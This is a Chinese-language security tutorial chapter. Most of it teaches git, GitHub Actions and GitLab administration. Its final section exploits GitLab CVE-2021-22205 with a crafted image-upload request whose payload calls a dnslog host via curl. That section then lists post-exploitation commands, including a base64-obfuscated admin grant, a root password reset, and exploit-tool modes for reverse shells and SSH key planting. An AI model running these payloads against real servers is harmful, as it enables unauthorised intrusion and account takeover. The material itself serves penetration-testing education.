> For the complete documentation index, see [llms.txt](https://lzcloudsecurity.gitbook.io/yun-an-quan-gong-fang-ru-men/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://lzcloudsecurity.gitbook.io/yun-an-quan-gong-fang-ru-men/di-qi-zhang-yun-yuan-sheng-ying-yong-de-devops/dai-ma-tuo-guan-ping-tai-shen-tou-chang-jing.md).

# 代码托管平台渗透场景

这一章节会讲git、github、gitlab快速入门，以及利用github的持续集成平台部署扫描器，Gitlab相关的渗透场景和后利用，为后续讲CI/CD渗透场景打下基础。

#### Git简介 <a href="#toc677041568" id="toc677041568"></a>

* &#x20;Git：版本控制工具
* &#x20;GitHub：git仓库、代码托管
* &#x20;GitLab：git带有界面的管理软件

**安装Git**

```bash
#Centos7
yum -y install git
 
#Centos8
dnf -y install git
 
#Ubuntu
sudo apt-get install git
 
#Windows
https://gitforwindows.org
 
#OSX
https://brew.sh/
```

* &#x20;Workspace：  #工作区，就是你本地电脑，存放项目代码的地方
* &#x20;Index / Stage： #暂存区，用于临时存放你改动，事实上它就是一个文件保存即将在提交到文件列表信息
* &#x20;Repository：   #仓库区（或本地仓库），就是安全存放数据的位置，这里面有你提交到所有版本的数据。其中HEAD指向最新放入仓库的版本
* &#x20;Remote：      #远程仓库

&#x20;

Git工作流程：

1\. 在工作目录中添加、修改文件；

2\. 将需要进行版本管理的文件放入暂存区域；

3\. 将暂存区域的文件提交到git仓库。

因此，git管理的文件有三种状态：已修改（modified）,已暂存（staged）,已提交(committed)

**常用命令**

**新建代码库**

```bash
# 在当前目录新建一个Git代码库
git init
 
# 新建一个目录，将其初始化为Git代码库
git init [project-name]
 
# 下载一个项目和它的整个代码历史
git clone [url]
```

当init初始化项目的时候，会在当前目录创建一个隐藏文件名为 .git

* &#x20;config，该文件包含你的仓库配置，比如远程的 url ，你的邮箱和用户名等。
* &#x20;description，显示仓库的描述
* &#x20;hooks，存放git提交的各个阶段文件，用于在git命令前后做检查或做些自定义动作
* &#x20;info，可以将不想被 git 管理的文件记录到 .gitignore 文件中。排除文件的意思是不想共享这个文件。例如你不想共享你的 IDE 自定义配置
* &#x20;HEAD，此文件永远存储当前位置指针，指向当前工作区的分支。
* &#x20;index，index也称为stage，是一个索引文件。当执行git add后，文件就会存入Git的对象objects里，并使用索引进行定位。
* &#x20;object，Git 往磁盘保存对象时默认使用的格式叫松散对象 (loose object) 格式，当你对同一个文件修改哪怕一行，git 都会使用全新的文件存储这个修改了的文件，放在了objects中。

```bash
└── .git
├── COMMIT_EDITMSG # 保存最新的commit message
├── config # 仓库的配置文件
├── description # 仓库的描述信息，主要给gitweb使用
├── HEAD # 指向当前分支
├── hooks # 存放一些shell脚本，可以设置特定的git命令后触发相应的脚本
├── index# 二进制暂存区（stage）
├── info # 仓库的其他信息
│ └── exclude # 本地的排除文件规则，功能和.gitignore类似
├── logs # 保存所有更新操作的引用记录，主要用于git reflog等
├── objects # 所有文件的存储对象
└── refs # 具体的引用，主要存储分支和标签的引用
```

**配置**

```bash
# 显示当前的Git配置
git config --list
 
# 编辑Git配置文件
git config -e [--global]
 
# 设置提交代码时的用户信息
git config [--global] user.name "[name]"
git config [--global] user.email "[email address]"
```

**增加/删除文件**

```bash
# 添加指定文件到暂存区
git add [file1] [file2] ...
 
# 添加指定目录到暂存区，包括子目录
git add [dir]
 
# 添加当前目录的所有文件到暂存区
git add .
 
# 添加每个变化前，都会要求确认
# 对于同一个文件的多处变化，可以实现分次提交
git add -p
 
# 删除工作区文件，并且将这次删除放入暂存区
git rm [file1] [file2] ...
 
# 停止追踪指定文件，但该文件会保留在工作区
git rm --cached [file]
 
# 改名文件，并且将这个改名放入暂存区
git mv [file-original] [file-renamed]
```

**代码提交**

```bash
# 提交暂存区到仓库区
git commit -m [message]
# 提交暂存区的指定文件到仓库区
git commit [file1] [file2] ... -m [message]
 
# 提交工作区自上次commit之后的变化，直接到仓库区
git commit -a
 
# 提交时显示所有diff信息
git commit -v
 
# 使用一次新的commit，替代上一次提交
# 如果代码没有任何新变化，则用来改写上一次commit的提交信息
git commit --amend -m [message]
 
# 重做上一次commit，并包括指定文件的新变化
git commit --amend [file1] [file2] ...
```

**分支**

```bash
# 列出所有本地分支
git branch
 
# 列出所有远程分支
git branch -r
 
# 列出所有本地分支和远程分支
git branch -a
 
# 新建一个分支，但依然停留在当前分支
git branch [branch-name]
 
# 新建一个分支，并切换到该分支
git checkout -b [branch]
 
# 新建一个分支，指向指定commit
git branch [branch] [commit]
 
# 新建一个分支，与指定的远程分支建立追踪关系
git branch --track [branch] [remote-branch]
 
# 切换到指定分支，并更新工作区
git checkout [branch-name]
 
# 切换到上一个分支
git checkout -
 
# 建立追踪关系，在现有分支与指定的远程分支之间
git branch --set-upstream [branch] [remote-branch]
 
# 合并指定分支到当前分支
git merge [branch]
 
# 选择一个commit，合并进当前分支
git cherry-pick [commit]
 
# 删除分支
git branch -d [branch-name]
 
# 删除远程分支
git push origin --delete [branch-name]
git branch -dr [remote/branch]
```

**查看信息**

```bash
# 显示有变更的文件
git status
 
# 显示当前分支的版本历史
git log
 
# 显示commit历史，以及每次commit发生变更的文件
git log --stat
 
# 搜索提交历史，根据关键词
git log -S [keyword]
 
# 显示某个commit之后的所有变动，每个commit占据一行
git log [tag] HEAD --pretty=format:%s
 
# 显示某个commit之后的所有变动，其"提交说明"必须符合搜索条件
git log [tag] HEAD --grep feature
 
# 显示某个文件的版本历史，包括文件改名
git log --follow [file]
git whatchanged [file]
 
# 显示指定文件相关的每一次diff
git log -p [file]
 
# 显示过去5次提交
git log -5 --pretty --oneline
 
# 显示所有提交过的用户，按提交次数排序
git shortlog -sn
 
# 显示指定文件是什么人在什么时间修改过
git blame [file]
 
# 显示暂存区和工作区的差异
git diff
 
# 显示暂存区和上一个commit的差异
git diff --cached [file]
 
# 显示工作区与当前分支最新commit之间的差异
git diff HEAD
 
# 显示两次提交之间的差异
git diff [first-branch]...[second-branch]
 
# 显示今天你写了多少行代码
git diff --shortstat "@{0 day ago}"
 
# 显示某次提交的元数据和内容变化
git show [commit]
 
# 显示某次提交发生变化的文件
git show --name-only [commit]
 
# 显示某次提交时，某个文件的内容
git show [commit]:[filename]
 
# 显示当前分支的最近几次提交
git reflog
```

**远程同步**

```bash
# 下载远程仓库的所有变动
git fetch [remote]
 
# 显示所有远程仓库
git remote -v
 
# 显示某个远程仓库的信息
git remote show [remote]
 
# 增加一个新的远程仓库，并命名
git remote add [shortname] [url]
 
# 取回远程仓库的变化，并与本地分支合并
git pull [remote] [branch]
 
# 上传本地指定分支到远程仓库
git push [remote] [branch]
 
# 强行推送当前分支到远程仓库，即使有冲突
git push [remote] --force
 
# 推送所有分支到远程仓库
git push [remote] --all
```

#### GitHub <a href="#toc1669271570" id="toc1669271570"></a>

GitHub是一个面向开源及私有软件项目的托管平台，因为只支持git作为唯一的版本库格式进行托管，故名GitHub。

GitHub于2008年4月10日正式上线，除了Git代码仓库托管及基本的 Web管理界面以外，还提供了订阅、讨论组、文本渲染、在线文件编辑器、协作图谱（报表）、代码片段分享（Gist）等功能。其中不乏知名开源项目Spring、MyBatis、React、Vue等。

**GitHub云扫描器**

<https://github.com/inbug-team/InCloud>

InCloud已经为您定制好了八种针对网段和域名的不同场景的信息收集与漏洞扫描流程。

* &#x20;[PortScan-AllPort](https://github.com/inbug-team/InCloud/tree/PortScan-AllPort) 对单IP文件列表进行全端口扫描，输出可用Web服务标题。
* &#x20;[PortScan-AllPort-Xray-Dirscan](https://github.com/inbug-team/InCloud/tree/PortScan-AllPort-Xray-dirscan) 对单IP文件列表进行全端口扫描，输出可用Web服务标题，对Web服务进行Xray爬虫爬取与漏洞扫描，对Web服务进行Ffuf目录递归扫描。
* &#x20;[PortScan-Top1000](https://github.com/inbug-team/InCloud/tree/PortScan-Top1000) 对单C段IP列表进行Top1000端口扫描，输出可用Web服务标题。
* &#x20;[PortScan-Top1000-Xray](https://github.com/inbug-team/InCloud/tree/PortScan-Top1000-Xray) 对单C段IP列表进行Top1000端口扫描，输出可用Web服务标题，对Web服务进行Xray爬虫爬取与漏洞扫描。
* &#x20;[PortScan-Top1000-Dirscan](https://github.com/inbug-team/InCloud/tree/PortScan-Top1000-Dirscan) 对单C段IP列表进行Top1000端口扫描，输出可用Web服务标题，对Web服务进行Ffuf目录递归扫描。
* &#x20;[SubDomain-Portscan-Vulnscan](https://github.com/inbug-team/InCloud/tree/SubDomain-Portscan-Vulnscan) 对域名进行子域名枚举与接口查询，对查询的子域名进行Top1000端口扫描，输出可用Web服务标题，对Web服务进行Nuclei漏洞扫描。
* &#x20;[SubDomain-Portscan-Xray](https://github.com/inbug-team/InCloud/tree/SubDomain-Portscan-Xray) 对域名进行子域名枚举与接口查询，对查询的子域名进行Top1000端口扫描，输出可用Web服务标题，对Web服务进行Xray爬虫爬取与漏洞扫描。
* &#x20;[SubDomain-Portscan-Dirscan](https://github.com/inbug-team/InCloud/tree/SubDomain-Portscan-Dirscan) 对域名进行子域名枚举与接口查询，对查询的子域名进行Top1000端口扫描，输出可用Web服务标题，对Web服务进行Ffuf目录递归扫描。

将项目Fork到自己的Github，选择端口扫描的分支

<figure><img src="/files/EEtpyeJ9qn80ehxy1m0g" alt=""><figcaption></figcaption></figure>

![](/files/Vfg4AQPdfNmcDUt6KyZu)&#x20;

修改流程文件（.github/workflows/incloud.yaml）里的 git config --local user.email 与 git config --global user.name 改成自己的邮箱与自己的ID&#x20;

<figure><img src="/files/ds1Xa5pcwFsvBvtsjidS" alt=""><figcaption></figcaption></figure>

修改input目录的扫描目标，使用action标签进行在线编译。&#x20;

<figure><img src="/files/cdsrNuJe9rfjVNgGsmaO" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/gyF0XZZw61joWFHQgHt2" alt=""><figcaption></figcaption></figure>

项目有些老，需要做些修改。

GitHub提供六小时的容器使用时长，扫描结束后，扫描结果会自动上传到自己fork的output文件夹下。

**Github Actions**

持续集成由很多操作组成，比如抓取代码、运行测试、登录远程服务器，发布到第三方服务等等。GitHub 把这些操作就称为 actions。

如果你需要某个 action，不必自己写复杂的脚本，直接引用他人写好的 action 即可，整个持续集成过程，就变成了一个 actions 的组合。这就是 GitHub Actions 最特别的地方。

**基本概念**

GitHub Actions 有一些自己的术语：

1. workflow （工作流程）：持续集成一次运行的过程，就是一个 workflow
2. job （任务）：一个 workflow 由一个或多个 jobs 构成，含义是一次持续集成的运行，可以完成多个任务
3. step（步骤）：每个 job 由多个 step 构成，一步步完成
4. action （动作）：每个 step 可以依次执行一个或多个命令（action）

**workflow 文件**

GitHub Actions 的配置文件叫做 workflow 文件，存放在代码仓库的.github/workflows目录。

workflow 文件采用 YAML 格式，文件名可以任意取，但是后缀名统一为.yml，比如foo.yml。一个库可以有多个 workflow 文件。GitHub 只要发现.github/workflows目录里面有.yml文件，就会自动运行该文件。

官方文档

{% embed url="<https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions>" %}

&#x20;workflow语法

{% embed url="<https://www.ruanyifeng.com/blog/2019/09/getting-started-with-github-actions.html>" %}

GitHub 做了一个[官方市场](https://github.com/marketplace?type=actions)，可以搜索到他人提交的 actions。另外，还有一个 [awesome actions](https://github.com/sdras/awesome-actions) 的仓库，也可以找到不少 action。

<figure><img src="/files/CD0cZAzTdWnxkweL5QOB" alt=""><figcaption></figcaption></figure>

#### Gitlab简介 <a href="#toc720912582" id="toc720912582"></a>

GitLab 是一个用于仓库管理系统的开源项目，使用Git作为代码管理工具，并在此基础上搭建起来的Web服务。Gitlab是目前被广泛使用的基于git的开源代码管理平台 ,GitLab有两个软件发行版：开源社区版（CE）和企业版（EE）

Gitlab先简单介绍和使用，后续CI/CD安全会涉及到 Gitlab、Jenkins持续集成和持续部署安全的问题

&#x20;

<figure><img src="/files/WHtERinTrtMk1xnonNbJ" alt=""><figcaption></figcaption></figure>

**安装**

```bash
#下载地址
https://mirrors.tuna.tsinghua.edu.cn/gitlab-ce/yum/el7/
 
#安装
rpm -ivh gitlab-ce-12.10.14-ce.0.el7.x86_64.rpm
 
#初始化服务
gitlab-ctl reconfigure
 
#如安装出错提示UTF-8，设置如下
LANG=en_US.utf8
LANGUAGE=
LC_CTYPE="en_US.utf8"
LC_NUMERIC="en_US.utf8"
LC_TIME="en_US.utf8"
LC_COLLATE="en_US.utf8"
LC_MONETARY="en_US.utf8"
LC_MESSAGES="en_US.utf8"
LC_PAPER="en_US.utf8"
LC_NAME="en_US.utf8"
LC_ADDRESS="en_US.utf8"
LC_TELEPHONE="en_US.utf8"
LC_MEASUREMENT="en_US.utf8"
LC_IDENTIFICATION="en_US.utf8"
LC_ALL=
#配置文件
/etc/gitlab
 
#安装目录
/opt/gitlab
 
#数据目录
/var/opt/gitlab
 
#日志目录
/var/log/gitlab
```

**常用命令**

```bash
#用于启动控制台进行特殊操作，例如修改管理员密码、打开数据库控制台
gitlab-rails
 
#数据库控制台
gitlab-rails dbconsole
 
#启动
gitlab-ctl start
默认用户名为：root
提交代码
#配置用户信息
git config --global user.name "root"
git config --global user.email "123@123.com"
 
#列出用户全局设置
git config --global --list
 
#添加指定文件到暂存区
git add a.txt
 
#提交文件到工作区
git commit -m "v1"
 
#提交代码到服务器
git push
 
#定义忽略文件上传至gitlab
vim .gitignore
 
#git版本回滚，^代表上一个版本，^^代表上上一个版本
git reset --hard HEAD^^
 
#获取提交的ID，可使用--hard回滚ID
 
#查看当前所处的分支
git branch
 
#创建并切换到一个新分支
git checkout -b develop
 
#切换分支
git checkout develop
```

工作区：电脑中能看到的目录就是工作区

版本库：工作区中隐藏了.git 是Git的版本库，其中最为重要的是stage的暂存区，以及自动创建的Master

禁止相关文件被上传，借鉴K8s

<https://github.com/kubernetes/kubernetes/blob/master/.gitignore>

**数据恢复**

```bash
gitlab-ctl stop unicorn
gitlab-ctl stop sidekiq
 
#手动备份
gitlab-rake gitlab:backup:create
 
#备份生成文件在
/var/opt/gitlab/backups
 
#恢复
gitlab-rake gitlab:Backup:restore BACKUP=备份文件名
```

**安全问题**

* &#x20;互联网可直接访问，Gitlab可以任意注册
* &#x20;老旧漏洞未打补丁
* &#x20;硬编码密码、嵌入式密码
* &#x20;是指将密码以明文方式直接写入代码中。这种处理方式极大地提高了攻击者命中密码的概率，使服务或系统暴露在风险中，容易造成严重损失
* &#x20;中毒管道执行（PPE）
  * &#x20;将代码推送到存储分支，该分支通过管道自动部署到生产中

**漏洞与后利用**

**GitLab版本检测**

使用如下命令可查看当前GitLab的版本：

```bash
cat /opt/gitlab/embedded/service/gitlab-rails/VERSION
```

Web页面：

```bash
http://ip/help
http://ip/help
```

**CVE-2021-22205**

11.9以后的GitLab中，因为使用了图片处理工具ExifTool而受到漏洞CVE-2021-22204的影响，攻击者可以通过一个未授权的接口上传一张恶意构造的图片，进而在GitLab服务器上执行命令。

这章节我只介绍高危和在实战场景最常用的漏洞

未授权上传图片rce

影响版本

* &#x20;11.9 <= Gitlab CE/EE < 13.8.8
* &#x20;13.9 <= Gitlab CE/EE < 13.9.6
* &#x20;13.10 <= Gitlab CE/EE < 13.10.3

\
get请求/users/sign\_in获取csrf-token

{% code overflow="wrap" %}

```bash
<meta name="csrf-token"
content="2fvq2HEa+JHcISIlI2JiAUpA67FU9RvpSgfRINgXdLiI9VY3kWNn3qGyTmBy0h794bZDmpE5PqBWnL2Bwvu+8Q==" />
```

{% endcode %}

对/uploads/user发post上传含有payload的图片

{% code overflow="wrap" %}

```bash
POST /uploads/user HTTP/1.1
Host: 192.168.1.133
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Content-Length: 880
 
 
------WebKitFormBoundaryIMv3mxRg59TkFSX5
Content-Disposition: form-data; name="file"; filename="test.jpg"
Content-Type: image/jpeg
 
AT&TFORM....DJVMDIRM..........F......... !..N........k.D.,q..I.n...."?FORM...^DJVUINFO...
......d...INCL....shared_anno.iff.BG44.....J..........7..*..BG44........BG44.....
FORM....DJVIANTa...P(metadata
(Copyright "\
" . qx{curl `whoami`.pg7w3y.dnslog.cn} . \
" b ") )                                                                                                                                                                                                                                                                                                                                                                                                                                     
 
------WebKitFormBoundaryIMv3mxRg59TkFSX5--
```

{% endcode %}

交互式shell

```bash
python3 -c 'import pty; pty.spawn("/bin/bash")'
```

通过rce后拿到的默认是git用户，非root用户

gitlab命令行修改root用户密码

```bash
gitlab-rails console -e production
User.all
user = User.where(id:1).first
user.password='12qwe$#...'
user.password_confirmation='12qwe$#...'
user.save!
```

gitlab命令行修改用户为admin权限

将两个先前注册用户的权限升级为 admin、获取所有代码权限

{% code overflow="wrap" %}

```bash
echo 'user = User.find_by(username: "adm1n");user.admin="true";user.save!' | gitlab-rails console
 
/usr/bin/echo dXNlciA9IFVzZXIuZmluZF9ieSh1c2VybmFtZTogInJvb3QiKTt1c2VyLmFkbWluPSJ0cnVlIjt1c2VyLnNhdmUh | base64 -d | /usr/bin/gitlab-rails console
```

{% endcode %}

利用工具：<https://github.com/inspiringz/CVE-2021-22205>

漏洞利用方式：

Usage:

{% code overflow="wrap" %}

```bash
python3 CVE-2021-22205.py -u site_url -m detect # gitlab version & vuln detect
python3 CVE-2021-22205.py -u site_url -m rce1 'id' # rce (echo via requestbin oob)
python3 CVE-2021-22205.py -u site_url -m rce2 'id' # rce (echo via write file) *
python3 CVE-2021-22205.py -u site_url -m rev ip port # reverse bash shell
python3 CVE-2021-22205.py -u site_url -m ssh git/root # append ssh authorized_keys
python3 CVE-2021-22205.py -u site_url -m add user pass # add manager account *
python3 CVE-2021-22205.py -u site_url -m mod user # modify specified user's password => P4ss@GitLab
python3 CVE-2021-22205.py -u site_url -m rec user # restore specified user's original password
```

{% endcode %}

#### 总结 <a href="#toc275029300" id="toc275029300"></a>

* &#x20;了解Git、Github、Gitlab与基本操作
* &#x20;利用Github Actions构建扫描器
* &#x20;Gitlab安全风险相关问题
* &#x20;Gitlab高危漏洞CVE-2021-22205
* &#x20;Gitlab漏洞后利用
